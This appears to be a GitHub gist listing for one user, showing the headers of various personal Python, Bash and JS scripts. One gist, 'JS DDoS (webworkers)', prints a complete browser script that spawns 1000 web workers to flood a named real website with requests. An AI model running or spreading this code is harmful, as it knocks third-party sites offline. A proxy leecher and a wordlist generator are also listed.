Skip to content

Instantly share code, notes, and snippets.

@starenka
starenka / komunal.py
Last active August 29, 2015 14:07
komunal.py
#!/usr/bin/env python
# coding=utf-8
import time
from pyquery import PyQuery as pq
def to_float(text):
return float(to_str(text).replace(',', '.').strip())
def to_str(el):

Keybase proof

I hereby claim:

  • I am starenka on github.
  • I am starenka (https://keybase.io/starenka) on keybase.
  • I have a public key whose fingerprint is 3183 C657 A1EE DB80 B9D9 A8CF 1549 0C71 F353 3E87

To claim this, I am signing this object:

#!/usr/bin/env python
# coding=utf-8
# pip install requests beautifulsoup4
# TODO: handle category selection (fucked up serverside)
# fix seldom weird price detection
from __future__ import division
import re
import datetime
@starenka
starenka / dos_ww_cor.js
Created December 19, 2010 20:05
JS DDoS (webworkers)
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
{
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
worker.postMessage();
}
#!/usr/bin/env bash
TAR_MAC="00:1f:d0:**:**:**"
TAR_HOST="bedna"
TAR_USER="starenka"
MAX_BW=400 #KB/s
MAX_TRIES=5
INTERVAL_TRIES=30
DIALOG_TITLE="--display :0 --title Backup"
DIRS=('/photo' '/www' '/prac' '/home/starenka/.scripts' '/home/starenka/bin' '/mail' '/home/starenka/.opera' '/home/starenka/jobs' '/home/starenka/.purple '
@starenka
starenka / proxy_leech.py
Created December 21, 2010 00:37
get proxies
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# quick & dirty nntime proxy leech
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since Dec 22, 2010
@starenka
starenka / norespekt.py
Created December 21, 2010 19:17
Respekt - PDF links extraction
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Pulls out links to PDFs from Respekt user section.
# *As the site allows only one logged in user at once,
# you need to logout in your browser in order to use this script.
# usage:
# $ ./norespekt.py > respekt_links
# $ cat respekt_links | xargs -P 10 -r -n 1 wget -nv
#
@starenka
starenka / bzr_precommit_lint.py
Created December 22, 2010 10:26
bzr hooks (py, rb, php syntax check)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# this is a plugin/hook for bazaar. just add this file to ~/.bazaar/plugins/precommit"""
#
# @author: starenka
# @email: starenka0[at]gmail[dot]com
# @version: 1.1
# @since Feb 28, 2010
@starenka
starenka / openpyster.py
Created January 1, 2011 09:15
openpaste.org wrapper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openpaste.org wrapper
#
# reads from stdin and copies uri to klipper by default
#
# @author: starenka
# @email: admin[at]starenka[dot]net
# @version: 1.1
@starenka
starenka / wg.py
Created January 1, 2011 14:36
wordlist generator
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# simple wl generator
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since 1/1/11
# @requires python 2.6